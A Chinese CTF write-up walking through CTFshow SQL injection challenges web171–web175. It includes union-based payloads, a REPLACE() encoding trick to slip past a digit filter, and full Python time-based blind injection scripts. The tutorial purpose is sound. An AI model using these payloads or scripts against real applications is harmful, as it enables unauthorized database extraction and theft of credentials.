news 2026/8/31 15:11:58

CTFshow SQL注入实战:从web171到web175的完整通关指南(附Python脚本)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFshow SQL注入实战:从web171到web175的完整通关指南(附Python脚本)

CTFshow SQL注入实战:从web171到web175的完整通关指南(附Python脚本)

如果你刚开始接触CTF中的Web安全,尤其是SQL注入,那么CTFshow平台上的web171到web175这五道题目,可以说是绝佳的“新手村”训练场。这几道题由浅入深,从最基础的联合查询注入,逐步过渡到需要绕过数字过滤、甚至最终面对完全无回显的时间盲注。很多朋友在做到web175时,可能会被那个过滤了所有ASCII字符回显的“奇葩”规则卡住,感觉无从下手。其实,这正是从“有回显注入”迈向“无回显注入”的关键一步,而跨越这一步的钥匙,就是自己动手编写一个自动化注入脚本

这篇文章,我不会仅仅复述题目答案。我想和你分享的是,如何像一位真正的安全研究员那样去思考:如何分析过滤规则、如何设计绕过方案,以及最重要的是,如何将繁琐的手工测试过程,转化为高效、可靠的Python代码。我们将从web171最简单的注入点开始,一步步拆解,直到在web175中构建出一个完整的、可复用的时间盲注脚本。你会发现,当你亲手写出第一个能跑出flag的脚本时,那种成就感,远比直接复制粘贴一个payload要强烈得多。

1. 环境搭建与基础认知:理解我们的“战场”

在开始真正的注入之前,花几分钟理解我们面对的环境是值得的。CTFshow的这类题目通常提供一个Web接口,核心是一个接收用户输入(如id参数)并拼接进SQL查询的PHP页面。我们的目标,就是通过精心构造的输入,让数据库执行我们预期的查询,从而泄露敏感信息(flag)。

提示:强烈建议你在本地或实验环境中,使用如DVWA、SQLi-Labs等靶场进行同步练习。这能让你自由地尝试各种Payload,观察数据库的真实反应,而不用担心对比赛平台造成影响。

一个典型的漏洞代码逻辑如下所示:

$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1"; $result = mysqli_query($conn, $sql);

如果用户输入是1' OR '1'='1,那么拼接后的SQL语句就变成了:

SELECT * FROM users WHERE id = '1' OR '1'='1' LIMIT 0,1

这条语句的WHERE条件永远为真,从而可能返回所有用户数据。这就是SQL注入最基础的原理。

为了高效地与目标交互,我们需要一个趁手的工具。这里我推荐使用Python的requests库,它轻量、灵活,非常适合自动化HTTP请求。你可以通过以下命令安装:

pip install requests

接下来,我们创建一个基础的请求模板,后续所有的Payload测试都将基于它进行修改:

import requests url = "http://目标地址/api/v4.php" # 以web174为例 params = { 'id': "你的Payload", 'page': 1, 'limit': 10 } response = requests.get(url, params=params) print(response.text)

这个简单的脚本,将是我们后续所有复杂攻击的起点。

2. 初阶实战:联合查询与信息收集(Web171-Web173)

这个阶段的题目,数据库会直接返回查询结果到页面,我们称之为联合查询注入(Union-Based Injection)。攻击思路非常直接:闭合原SQL语句,利用UNION操作符拼接我们自己的查询,让结果直接显示在页面上。

2.1 Web171:标准注入流程演练

第一关几乎没有设置任何过滤,非常适合用来熟悉完整的注入流程。我们的攻击步骤可以标准化:

  1. 探测注入点与闭合方式:尝试输入1'。如果页面报错(提示SQL语法错误),说明存在注入点,且很可能使用单引号包裹字符串。接着尝试1' --+--+是注释符,将后续语句注释掉)。如果页面恢复正常,则确认闭合方式为单引号。
  2. 判断字段数:使用ORDER BY子句。1' ORDER BY 1 --+1' ORDER BY 2 --+, 逐步增加数字,直到页面报错。报错前的那个数字就是当前查询的字段数。在web171中,你会发现字段数是3。
  3. 确定回显位:使用UNION SELECT语句,并用数字占位。0' UNION SELECT 1,2,3 --+。观察页面中哪个位置显示了数字“2”或“3”,这些位置就是我们可以用来回显查询结果的地方。
  4. 提取信息:现在,我们可以把回显位替换成我们想查询的函数或语句了。

一个完整的、用于信息收集的Payload序列如下:

# 假设我们已经知道字段数为3,且第2、3位可回显 base_url = "http://xxx.challenge.ctf.show/select-no-waf-1.php" payloads = [ "0' UNION SELECT database(), user(), version() --+", # 查数据库名、用户、版本 "0' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=database() --+", # 查所有表名 "0' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema='ctfshow_web' AND table_name='ctfshow_user' --+", # 查指定表的所有列名 "0' UNION SELECT id,username,password FROM ctfshow_web.ctfshow_user --+" # 查数据 ] for payload in payloads: resp = requests.get(base_url, params={'id': payload}) # 这里需要根据页面实际情况编写解析代码,提取出回显信息 print(f"Payload: {payload}") print(f"Response contains: ...") # 简化输出

通过这一系列操作,你最终会在id=26password字段中找到flag。这个过程是几乎所有有回显SQL注入的基石。

2.2 Web172 与 Web173:绕过简单的输出过滤

从web172开始,题目引入了最简单的过滤:检查查询结果中username字段是否包含flag字符串,如果包含则不显示。这给我们上了一课:不要完全相信页面的回显,要灵活选择查询的字段

既然username字段被“污染”,那我们不查它就是了。Payload可以修改为:

0' UNION SELECT id, password, 3 FROM ctfshow_user2 --+

或者,如果你只想看password

0' UNION SELECT 1, password, 3 FROM ctfshow_user2 --+

web173是同样的思路。这里的核心思维是:在联合查询中,你可以完全控制SELECT后面的字段列表。只选择那些“安全”的、能正常回显的字段即可。有时,甚至可以用NULL或固定值来占位。

题目过滤点绕过思路示例Payload
Web171标准联合查询流程0' UNION SELECT 1,2,database() --+
Web172结果中username不能为‘flag’不查询username字段0' UNION SELECT id,password,3 FROM ...
Web173同上同上,或对username进行编码(如HEX)0' UNION SELECT id,hex(username),password ...

3. 中阶挑战:绕过内容过滤与自动化替换(Web174)

web174增加了一个有趣的限制:查询结果和查询语句中都不能出现数字。这意味着我们之前常用的information_schema库中的表名(如ctfshow_user4)和flag本身(包含数字)都无法直接显示。

面对这种过滤,我们需要一种“编码”思维。既然不能直接显示数字,那我们能不能先把数字转换成别的字符(比如字母),等数据传回本地后,再转换回来呢?MySQL的REPLACE()函数在这里派上了大用场。

我们的Payload构造策略如下:

  1. 在数据库端,使用嵌套的REPLACE()函数,将结果中的数字0-9分别替换为字母A-J。
  2. 在本地,编写一个Python函数,将获取到的、经过替换的字符串,再反向替换回数字。

数据库端的Payload示例

0' UNION SELECT REPLACE(REPLACE(REPLACE(REPLACE(REPLACE( REPLACE(REPLACE(REPLACE(REPLACE(REPLACE( group_concat(table_name), '0','J'), '1','A'), '2','B'), '3','C'), '4','D'), '5','E'), '6','F'), '7','G'), '8','H'), '9','I'), 'a' FROM information_schema.tables WHERE table_schema=database() --+

这个看起来复杂的语句,作用就是将表名ctfshow_user4中的数字4替换为字母D,最终返回ctfshow_userD

本地解码的Python函数

def decode_replaced_text(encoded_text): """ 将经过 REPLACE(..., '1','A')... 处理的文本还原。 假设原替换规则是:1->A, 2->B, ..., 9->I, 0->J """ replacement_map = { 'A': '1', 'B': '2', 'C': '3', 'D': '4', 'E': '5', 'F': '6', 'G': '7', 'H': '8', 'I': '9', 'J': '0' } decoded_text = encoded_text for encoded_char, original_digit in replacement_map.items(): decoded_text = decoded_text.replace(encoded_char, original_digit) return decoded_text # 假设从响应中提取到的加密表名是 'ctfshow_userD' encrypted_table_name = 'ctfshow_userD' real_table_name = decode_replaced_text(encrypted_table_name) print(f"真实的表名是: {real_table_name}") # 输出: ctfshow_user4

通过这种“先编码传输,后解码还原”的方式,我们巧妙地绕过了对数字的过滤。这个过程也启示我们,当直接路径被阻断时,迂回和转换往往是有效的解决方案。

4. 高阶突破:时间盲注与自动化脚本编写(Web175)

web175将难度提升到了一个新的层级:它通过正则表达式过滤了所有ASCII字符(\x00-\x7f)的回显。这意味着,无论查询结果是什么,只要包含任何常规字符,页面都不会显示。我们失去了最直接的信息反馈渠道。

这时,时间盲注(Time-Based Blind Injection)成为了唯一的选择。其原理是:利用数据库的延时函数(如sleep()),通过页面响应时间的长短来判断我们构造的查询条件是否成立。

4.1 时间盲注原理与手工测试

首先,我们需要确认注入点是否支持时间盲注。一个简单的测试Payload是:

1' AND SLEEP(5) --+

如果页面响应确实延迟了大约5秒,那么时间盲注就是可行的。接下来的核心问题变成了:如何利用延时来“询问”数据库信息?

答案是:将想要查询的数据,通过条件判断语句IF()sleep()函数绑定。基本语法如下:

1' AND IF((SUBSTR((SELECT DATABASE()),1,1))='c', SLEEP(3), 0) --+

这个语句的意思是:如果当前数据库名的第一个字母是‘c’,那么让数据库睡眠3秒,否则立即返回。我们通过测量页面响应时间,就能推断出第一个字母是否为‘c’。

4.2 从手工到自动:编写Python注入脚本

手工一个个字符去猜解是不现实的。我们必须编写脚本来自动化这个过程。脚本的核心逻辑是一个双层循环

  1. 外层循环:遍历我们猜测的字符串的每一个位置(第1位、第2位...)。
  2. 内层循环:在每个位置上,遍历所有可能的字符(例如小写字母、数字、下划线、{}_-等flag常用字符),并发送携带IF(SUBSTR(目标数据,位置,1)=猜测字符, SLEEP(延时),0)的请求。
  3. 判断逻辑:如果某个请求的响应时间明显长于其他请求(例如大于2秒),则说明该位置的字符猜对了,记录它并跳出内层循环,继续猜下一位。

下面是一个基础但完整的时间盲注脚本框架,用于猜解数据库名:

import requests import string import time target_url = "http://xxxx.challenge.ctf.show/api/v5.php" # 常见的字符集,可根据需要扩展 char_set = string.ascii_lowercase + string.digits + '_-{}' def test_payload(payload): """发送Payload并返回响应时间""" params = { 'id': payload, 'page': 1, 'limit': 10 } start_time = time.time() try: # 设置一个合理的超时时间,比如10秒 response = requests.get(target_url, params=params, timeout=10) except requests.exceptions.Timeout: # 如果超时,说明sleep执行了,返回一个很大的时间值 return 10 elapsed = time.time() - start_time return elapsed def extract_data(query_template, max_length=50): """ 根据查询模板提取数据 query_template: 一个字符串,其中包含一个`{}`占位符,用于插入SUBSTR的索引。 例如: "SELECT DATABASE()" """ result = "" for position in range(1, max_length + 1): found_char = None for char in char_set: # 构造Payload:如果指定位置的字符等于猜测字符,则睡眠3秒 payload = f"1' AND IF(SUBSTR(({query_template}),{position},1)='{char}',SLEEP(3),0) --+" elapsed = test_payload(payload) if elapsed > 2.5: # 判断延时阈值 found_char = char result += char print(f"[+] 位置 {position}: '{char}',当前结果: {result}") break if not found_char: # 如果遍历完字符集都没找到,可能已到字符串末尾 print(f"[-] 位置 {position} 未找到字符,推断结束。") break return result if __name__ == "__main__": # 示例:猜解当前数据库名 db_name = extract_data("SELECT DATABASE()", max_length=20) print(f"数据库名: {db_name}")

这个脚本虽然直接,但效率较低,因为每个位置都需要遍历整个字符集。在实际攻击中,我们通常会采用二分查找法来优化。二分法的原理是:比较目标字符的ASCII码与中间值的大小,通过一次请求将搜索范围缩小一半,从而将猜解一个字符所需的请求次数从几十次降低到大约7次(log₂ 128)。

二分法优化后的核心代码段

def extract_data_binary(query_template, max_length=50): result = "" for i in range(1, max_length + 1): low, high = 32, 127 # ASCII可打印字符范围 while low < high: mid = (low + high) // 2 # 判断当前字符的ASCII码是否大于mid payload = f"1' AND IF(ASCII(SUBSTR(({query_template}),{i},1))>{mid},SLEEP(3),0) --+" elapsed = test_payload(payload) if elapsed > 2.5: low = mid + 1 # 如果大于mid,说明在右半区 else: high = mid # 否则在左半区 if low != 32: # 有效字符 result += chr(low) print(f"[+] 位置 {i}: '{chr(low)}',当前结果: {result}") else: break return result

使用这个高效的脚本,我们可以依次获取数据库名、表名、列名,最终定位到flag所在的字段并提取出来。面对web175这种“沉默”的关卡,一个可靠的自动化脚本就是你最强大的武器。

5. 思维扩展:从解题到实战的武器库

通过这五道题目,我们实际上构建了一个应对不同SQL注入场景的初级“武器库”。但在真实的CTF比赛或安全测试中,情况可能更复杂。基于网络搜索中提到的更高级题目(如web209之后),我们可以提前了解一些进阶技巧:

  • 绕过空格过滤:当空格被过滤时,可以使用/**/%0a(换行符)、%09(制表符)等代替。
  • 使用LIKE绕过=过滤:在WHERE条件中,=号可能被过滤,此时可以用LIKE进行模糊匹配。
  • 利用INFORMATION_SCHEMA:这是MySQL的元数据库,存储了所有数据库、表、列的信息,是SQL注入中信息收集的“圣地”。
  • 堆叠注入(Stacked Queries):如果后端支持执行多条SQL语句,可以使用;分隔,执行诸如SHOW TABLES;HANDLER ... OPEN等操作。
  • 编写SQLMap Tamper脚本:对于复杂的过滤规则(如web209-web212中的双重base64编码反转),可以编写自定义的Tamper脚本,让SQLMap这类自动化工具也能发挥作用。

注意:在实际测试中,务必获得授权。未经授权的测试是对目标系统的攻击,是违法行为。CTF平台和专用靶场才是我们学习和练习的安全场所。

回过头看,从web171到web175,不仅是一个难度递增的挑战序列,更是一条清晰的学习路径:从理解原理、手动操作,到绕过简单过滤,最终掌握在无回显情况下通过编写自动化脚本完成复杂注入的能力。掌握SQL注入的关键,不在于记忆大量的Payload,而在于培养那种“如果我是开发者,我会怎么过滤?如果我是攻击者,我又该如何绕过?”的对抗性思维。当你开始习惯这种思维,并能够用代码将想法实现时,你就已经跨过了入门的那道门槛。剩下的,就是在更多样、更复杂的场景中,去不断锤炼和丰富你的经验了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/14 17:21:35

新手友好:跟快马平台学如何安全地将Win11右键菜单改回经典Win10样式

对于很多刚从Windows 10升级到Windows 11的朋友来说&#xff0c;那个新的右键菜单可能有点不太习惯。它把一些常用的功能&#xff0c;比如“刷新”、“粘贴为纯文本”等&#xff0c;都藏到了“显示更多选项”的二级菜单里&#xff0c;每次都要多点一下&#xff0c;效率确实打了…

作者头像 李华
网站建设 2026/7/14 17:21:18

Excel甘特图制作全攻略:从数据录入到自动报表生成(附模板下载)

Excel甘特图制作全攻略&#xff1a;从数据录入到自动报表生成&#xff08;附模板下载&#xff09; 如果你手头正在管理一个项目&#xff0c;无论是产品研发、市场活动还是团队协作&#xff0c;大概率都遇到过这样的困扰&#xff1a;任务进度怎么才能让所有人一目了然&#xff1…

作者头像 李华
网站建设 2026/7/14 17:21:31

鸿蒙智能车实战:如何用QT和海思HI3861开发板实现远程控制与数据可视化

鸿蒙智能车实战&#xff1a;如何用QT和海思HI3861开发板实现远程控制与数据可视化 最近在捣鼓一个挺有意思的项目&#xff0c;想把手头闲置的海思HI3861开发板利用起来&#xff0c;做个能远程控制、还能实时看到小车状态的小玩意儿。这想法其实源于一次和朋友的闲聊&#xff0c…

作者头像 李华
网站建设 2026/7/14 17:21:35

百度网盘链接解析工具:高效突破下载限制的极速获取方案

百度网盘链接解析工具&#xff1a;高效突破下载限制的极速获取方案 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 网盘下载痛点与解决方案 百度网盘作为国内用户量最大的云存…

作者头像 李华